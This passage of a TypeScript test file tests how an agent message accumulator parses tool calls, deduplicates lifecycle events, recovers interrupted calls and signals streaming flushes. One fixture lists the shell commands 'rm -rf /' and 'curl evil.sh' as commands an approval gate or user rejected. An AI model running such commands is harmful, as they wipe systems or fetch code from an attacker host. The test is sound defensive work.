- it("handles empty conversationSteps array", () => {
620
- const out: AgentMessage[] = [];
621
- extractConversationSteps({
622
- status: "success",
623
- value: { conversationSteps: [] },
624
- }, out);
625
- expect(out).toHaveLength(0);
626
- });
627
-
628
- it("skips steps with empty text", () => {
629
- const out: AgentMessage[] = [];
630
- extractConversationSteps({
631
- status: "success",
632
- value: {
633
- conversationSteps: [
634
- { type: "thinkingMessage", message: { text: "" } },
635
- { type: "assistantMessage", message: { text: "" } },
636
- { type: "assistantMessage", message: { text: "Real content." } },
637
- ],
638
- },
639
- }, out);
640
-
641
- expect(out).toHaveLength(1);
642
- expect(out[0].content).toBe("Real content.");
643
- });
644
-
645
- it("maps a tool result error oneof to a FAILED tool call", () => {
646
- const out: AgentMessage[] = [];
647
- extractConversationSteps({
648
- status: "success",
649
- value: {
650
- conversationSteps: [
651
- {
652
- toolCall: {
653
- toolCallId: "read-err",
654
- readToolCall: {
655
- args: { path: "/nope.txt" },
656
- result: { error: { errorMessage: "file not found" } },
657
- },
658
- },
659
- },
660
- ],
661
- },
662
- }, out);
663
-
664
- expect(out).toHaveLength(1);
665
- const tc = out[0].toolCalls[0];
666
- expect(tc.name).toBe("read");
667
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
668
- expect(tc.error).toContain("file not found");
669
- expect(tc.result).toBe("");
670
- });
671
-
672
- it("maps a gate-denied shell (permissionDenied / rejected) to a FAILED tool call", () => {
673
- const out: AgentMessage[] = [];
674
- extractConversationSteps({
675
- status: "success",
676
- value: {
677
- conversationSteps: [
678
- {
679
- toolCall: {
680
- toolCallId: "shell-denied",
681
- shellToolCall: {
682
- args: {},
683
- result: {
684
- permissionDenied: {
685
- command: "rm -rf /",
686
- error: "blocked by approval gate",
687
- isReadonly: false,
688
- },
689
- },
690
- },
691
- },
692
- },
693
- {
694
- toolCall: {
695
- toolCallId: "shell-rejected",
696
- shellToolCall: {
697
- args: {},
698
- result: { rejected: { command: "curl evil.sh", reason: "user rejected" } },
699
- },
700
- },
701
- },
702
- ],
703
- },
704
- }, out);
705
-
706
- expect(out).toHaveLength(2);
707
- expect(out[0].toolCalls[0].name).toBe("shell");
708
- expect(out[0].toolCalls[0].toolKind).toBe(ToolKind.SHELL);
709
- expect(out[0].toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
710
- expect(out[0].toolCalls[0].error).toContain("blocked by approval gate");
711
- expect(out[1].toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
712
- expect(out[1].toolCalls[0].error).toContain("user rejected");
713
- });
714
-
715
- it("skips a malformed toolCall step with no <kind>ToolCall key", () => {
716
- const out: AgentMessage[] = [];
717
- extractConversationSteps({
718
- status: "success",
719
- value: {
720
- conversationSteps: [
721
- { toolCall: { toolCallId: "orphan" } },
722
- { assistantMessage: { text: "still works" } },
723
- ],
724
- },
725
- }, out);
726
-
727
- expect(out).toHaveLength(1);
728
- expect(out[0].content).toBe("still works");
729
- });
730
- });
731
-
732
- describe("todo tool suppression", () => {
733
- it("updateTodos tool calls are excluded from messages", () => {
734
- const messages: AgentMessage[] = [];
735
- const acc = new MessageAccumulator(messages);
736
-
737
- acc.processEvent(assistantEvent("r1", "Planning..."));
738
- acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "running", "r1", {
739
- args: { todos: [{ content: "Step 1", status: "pending" }] },
740
- }));
741
- acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "completed", "r1"));
742
-
743
- const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
744
- expect(aiMsg?.toolCalls).toHaveLength(0);
745
- });
746
-
747
- it("TodoWrite tool calls are excluded from messages", () => {
748
- const messages: AgentMessage[] = [];
749
- const acc = new MessageAccumulator(messages);
750
-
751
- acc.processEvent(assistantEvent("r1", "Planning..."));
752
- acc.processEvent(toolCallEvent("tc-tw", "TodoWrite", "running", "r1"));
753
- acc.processEvent(toolCallEvent("tc-tw", "TodoWrite", "completed", "r1"));
754
-
755
- const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
756
- expect(aiMsg?.toolCalls).toHaveLength(0);
757
- });
758
-
759
- it("non-todo tool calls on the same AI message are preserved", () => {
760
- const messages: AgentMessage[] = [];
761
- const acc = new MessageAccumulator(messages);
762
-
763
- acc.processEvent(assistantEvent("r1", "Working..."));
764
- acc.processEvent(toolCallEvent("tc-shell", "Shell", "running", "r1", { args: { command: "ls" } }));
765
- acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "running", "r1"));
766
- acc.processEvent(toolCallEvent("tc-shell", "Shell", "completed", "r1", { result: "file.txt" }));
767
- acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "completed", "r1"));
768
-
769
- const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
770
- expect(aiMsg?.toolCalls).toHaveLength(1);
771
- expect(aiMsg?.toolCalls[0].name).toBe("Shell");
772
- });
773
- });
774
-
775
- // The Cursor SDK can emit the lifecycle for one call_id more than once.
776
- // Observed in production: two "running" events ~0.5s apart for a task/edit
777
- // tool produced two ToolCall entries with the SAME id (a "thin" copy with no
778
- // result and a "full" copy), rendering the same call two or three times in
779
- // the UI. The accumulator must upsert by call_id so a call maps to exactly
780
- // one ToolCall.
781
- describe("tool call idempotency (one ToolCall per call_id)", () => {
782
- it("duplicate running events for one call_id create a single ToolCall", () => {
783
- const messages: AgentMessage[] = [];
784
- const acc = new MessageAccumulator(messages);
785
-
786
- acc.processEvent(assistantEvent("r1", "Editing a file."));
787
- acc.processEvent(toolCallEvent("tc-dup", "edit", "running", "r1", { args: { path: "a.ts" } }));
788
- acc.processEvent(toolCallEvent("tc-dup", "edit", "running", "r1", { args: { path: "a.ts" } }));
789
-
790
- expect(countToolCallsWithId(messages, "tc-dup")).toBe(1);
791
- expect(findToolCallById(messages, "tc-dup")!.status).toBe(ToolCallStatus.TOOL_CALL_RUNNING);
792
- });
793
-
794
- it("running -> completed -> running re-emit keeps a single COMPLETED ToolCall", () => {
795
- const messages: AgentMessage[] = [];
796
- const acc = new MessageAccumulator(messages);
797
-
798
- acc.processEvent(assistantEvent("r1", "Running a tool."));
799
- acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
800
- acc.processEvent(toolCallEvent("tc-1", "Shell", "completed", "r1", { result: "OK" }));
801
- // A late "running" re-emit must not regress the terminal status.
802
- acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
803
-
804
- expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
805
- const tc = findToolCallById(messages, "tc-1")!;
806
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
807
- expect(tc.result).toBe("OK");
808
- expect(tc.completedAt).toBeTruthy();
809
- });
810
-
811
- it("thin-then-full: a result-bearing completion populates the single ToolCall created by an empty running", () => {
812
- const messages: AgentMessage[] = [];
813
- const acc = new MessageAccumulator(messages);
814
-
815
- // Reproduces the production pattern: two running events, then one
816
- // completion that carries the full result.
817
- acc.processEvent(assistantEvent("r1", "Delegating work."));
818
- acc.processEvent(toolCallEvent("tc-task", "task", "running", "r1", { result: "" }));
819
- acc.processEvent(toolCallEvent("tc-task", "task", "running", "r1", { result: "" }));
820
- acc.processEvent(toolCallEvent("tc-task", "task", "completed", "r1", { result: "full result blob" }));
821
-
822
- expect(countToolCallsWithId(messages, "tc-task")).toBe(1);
823
- const tc = findToolCallById(messages, "tc-task")!;
824
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
825
- expect(tc.result).toBe("full result blob");
826
- });
827
-
828
- it("a result-less re-emit after completion does not wipe the captured result", () => {
829
- const messages: AgentMessage[] = [];
830
- const acc = new MessageAccumulator(messages);
831
-
832
- acc.processEvent(assistantEvent("r1", "Running a tool."));
833
- acc.processEvent(toolCallEvent("tc-1", "read", "running", "r1"));
834
- acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "file contents" }));
835
- acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "" }));
836
-
837
- expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
838
- expect(findToolCallById(messages, "tc-1")!.result).toBe("file contents");
839
- });
840
-
841
- it("duplicate task running events yield one task ToolCall and one sub-agent (production repro)", () => {
842
- const messages: AgentMessage[] = [];
843
- const acc = new MessageAccumulator(messages);
844
-
845
- // Mirror the ExecuteCursor stream loop: every task tool_call event is fed
846
- // to both processEvent() (tool call) and trackSubAgentExecution().
847
- acc.processEvent(assistantEvent("r1", "I'll explore the repo."));
848
- const args = { subagentType: { kind: "explore" }, description: "Explore repo structure and docs", prompt: "Go" };
849
-
850
- const run1 = toolCallEvent("tc-explore", "task", "running", "r1", { args, result: "" });
851
- acc.processEvent(run1);
852
- acc.trackSubAgentExecution(run1);
853
-
854
- const run2 = toolCallEvent("tc-explore", "task", "running", "r1", { args, result: "" });
855
- acc.processEvent(run2);
856
- acc.trackSubAgentExecution(run2);
857
-
858
- const done = toolCallEvent("tc-explore", "task", "completed", "r1", { result: "explored" });
859
- acc.processEvent(done);
860
- acc.trackSubAgentExecution(done);
861
-
862
- expect(countToolCallsWithId(messages, "tc-explore")).toBe(1);
863
- expect(acc.subAgentExecutions).toHaveLength(1);
864
- expect(acc.subAgentExecutions[0].id).toBe("tc-explore");
865
- });
866
- });
867
-
868
- // The recovery supersede rule (issue #207): TOOL_CALL_INTERRUPTED is
869
- // server-authored when an execution terminalizes with the call in flight. If
870
- // that FAILED execution is recovered, the harness checkpoint can re-execute
871
- // the call under its original call id — so INTERRUPTED is the one settled
872
- // status the monotonic guard lets live execution evidence supersede in
873
- // place. Every other terminal status stays immovable.
874
- describe("recovery supersede of TOOL_CALL_INTERRUPTED", () => {
875
- function seededInterruptedTranscript(callId: string): AgentMessage[] {
876
- return [
877
- create(AgentMessageSchema, {
878
- type: MessageType.MESSAGE_AI,
879
- content: "Running a command.",
880
- toolCalls: [
881
- create(ToolCallSchema, {
882
- id: callId,
883
- name: "Shell",
884
- status: ToolCallStatus.TOOL_CALL_INTERRUPTED,
885
- completedAt: "2026-07-08T00:00:00Z",
886
- }),
887
- ],
888
- }),
889
- ];
890
- }
891
-
892
- it("a replayed lifecycle event advances a seeded INTERRUPTED row to its true outcome", () => {
893
- const messages = seededInterruptedTranscript("tc-replayed");
894
- const acc = new MessageAccumulator(messages);
895
-
896
- acc.processEvent(toolCallEvent("tc-replayed", "Shell", "running"));
897
- expect(findToolCallById(messages, "tc-replayed")!.status).toBe(
898
- ToolCallStatus.TOOL_CALL_RUNNING,
899
- );
900
-
901
- acc.processEvent(toolCallEvent("tc-replayed", "Shell", "completed", "run-1", { result: "OK" }));
902
-
903
- expect(countToolCallsWithId(messages, "tc-replayed")).toBe(1);
904
- const tc = findToolCallById(messages, "tc-replayed")!;
905
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
906
- expect(tc.result).toBe("OK");
907
- });
908
-
909
- it("a genuinely terminal seeded row (COMPLETED) still refuses to regress", () => {
910
- const messages: AgentMessage[] = [
911
- create(AgentMessageSchema, {
912
- type: MessageType.MESSAGE_AI,
913
- toolCalls: [
914
- create(ToolCallSchema, {
915
- id: "tc-done",
916
- name: "Shell",
917
- status: ToolCallStatus.TOOL_CALL_COMPLETED,
918
- result: "final",
919
- }),
920
- ],
921
- }),
922
- ];
923
- const acc = new MessageAccumulator(messages);
924
-
925
- acc.processEvent(toolCallEvent("tc-done", "Shell", "running"));
926
-
927
- expect(findToolCallById(messages, "tc-done")!.status).toBe(
928
- ToolCallStatus.TOOL_CALL_COMPLETED,
929
- );
930
- });
931
- });
932
-
933
- // Issue #179: the live thinking/tool-call trace was starved because the Cursor
934
- // loop's persist cadence had no force-flush for tool-call lifecycle. The
935
- // accumulator's isDirty signal is now the force-flush source: it MUST fire on
936
- // the discrete, user-visible events (tool start, tool finish, sub-agent
937
- // delegation) and MUST NOT fire on high-frequency token deltas (assistant
938
- // text, model thinking), which ride the StreamingUpdateScheduler time cadence.
939
- describe("streaming force-flush signal (issue #179 cadence)", () => {
940
- it("flags dirty the instant a tool call is created", () => {
941
- const acc = new MessageAccumulator([]);
942
- acc.processEvent(assistantEvent("r1", "Let me search."));
943
- expect(acc.isDirty).toBe(false); // assistant text alone does not force-flush
944
-
945
- acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
946
- expect(acc.isDirty).toBe(true);
947
- });
948
-
949
- it("flags dirty when a tool call transitions to a terminal status", () => {
950
- const acc = new MessageAccumulator([]);
951
- acc.processEvent(assistantEvent("r1", "Running."));
952
- acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
953
- acc.markPersisted();
954
- expect(acc.isDirty).toBe(false);
955
-
956
- acc.processEvent(toolCallEvent("tc-1", "Shell", "completed", "r1", { result: "OK" }));
957
- expect(acc.isDirty).toBe(true);
958
- });
959
-
960
- it("does NOT re-flag dirty on a redundant terminal re-emit", () => {
961
- const acc = new MessageAccumulator([]);
962
- acc.processEvent(assistantEvent("r1", "Running."));
963
- acc.processEvent(toolCallEvent("tc-1", "read", "running", "r1"));
964
- acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "data" }));
965
- acc.markPersisted();
966
- expect(acc.isDirty).toBe(false);
967
-
968
- // An already-terminal call re-emitting is noise, not a state change.
969
- acc.processEvent(toolCallEvent("tc-1", "read", "completed", "r1", { result: "" }));
970
- expect(acc.isDirty).toBe(false);
971
- });
972
-
973
- it("does NOT flag dirty on model thinking deltas (they ride the scheduler cadence)", () => {
974
- const acc = new MessageAccumulator([]);
975
- acc.processEvent(thinkingEvent("r1", "Let me reason about this"));
976
- acc.processEvent(thinkingEvent("r1", " step by step..."));
977
- expect(acc.isDirty).toBe(false);
978
- });
979
-
980
- it("does NOT flag dirty on assistant text deltas", () => {
981
- const acc = new MessageAccumulator([]);
982
- acc.processEvent(assistantEvent("r1", "Here is "));
983
- acc.processEvent(assistantEvent("r1", "the answer."));
984
- expect(acc.isDirty).toBe(false);
985
- });
986
-
987
- it("suppressed todo tools do NOT flag dirty (TodoTracker owns that signal)", () => {
988
- const acc = new MessageAccumulator([]);
989
- acc.processEvent(assistantEvent("r1", "Planning."));
990
- acc.processEvent(toolCallEvent("tc-todo", "updateTodos", "running", "r1", {
991
- args: { todos: [{ content: "Step 1", status: "pending" }] },
992
- }));
993
- expect(acc.isDirty).toBe(false);
994
- });
995
-
996
- it("markPersisted clears a tool-call dirty flag", () => {
997
- const acc = new MessageAccumulator([]);
998
- acc.processEvent(assistantEvent("r1", "Running."));
999
- acc.processEvent(toolCallEvent("tc-1", "Shell", "running", "r1"));
1000
- expect(acc.isDirty).toBe(true);
1001
-
1002
- acc.markPersisted();
1003
- expect(acc.isDirty).toBe(false);
1004
- });
1005
-
1006
- // The user-facing symptom: a short thinking+tool turn (< 20 stream events).
1007
- // The old `eventCount % 20` gate never fired, so the whole trace landed only
1008
- // at the final persist. With the force-flush signal, the tool lifecycle is
1009
- // observable mid-turn — each discrete event leaves isDirty set for the loop.
1010
- it("a short thinking+tool turn produces force-flush points mid-turn", () => {
1011
- const acc = new MessageAccumulator([]);
1012
- const flushPoints: string[] = [];
1013
- const step = (label: string, ev: SDKMessage) => {
1014
- acc.processEvent(ev);
1015
- if (acc.isDirty) {
1016
- flushPoints.push(label);
1017
- acc.markPersisted();
1018
- }
1019
- };
1020
-
1021
- step("thinking", thinkingEvent("r1", "Thinking about the task..."));
1022
- step("assistant", assistantEvent("r1", "I'll check the file."));
1023
- step("tool-start", toolCallEvent("tc-1", "read", "running", "r1"));
1024
- step("tool-done", toolCallEvent("tc-1", "read", "completed", "r1", { result: "contents" }));
1025
- step("assistant-2", assistantEvent("r1", "Done."));
1026
-
1027
- // Tool start and tool completion are the discrete moments the live UI must
1028
- // see immediately; thinking/assistant deltas are carried by the scheduler.
1029
- expect(flushPoints).toEqual(["tool-start", "tool-done"]);
1030
- });
1031
- });
1032
-
1033
- });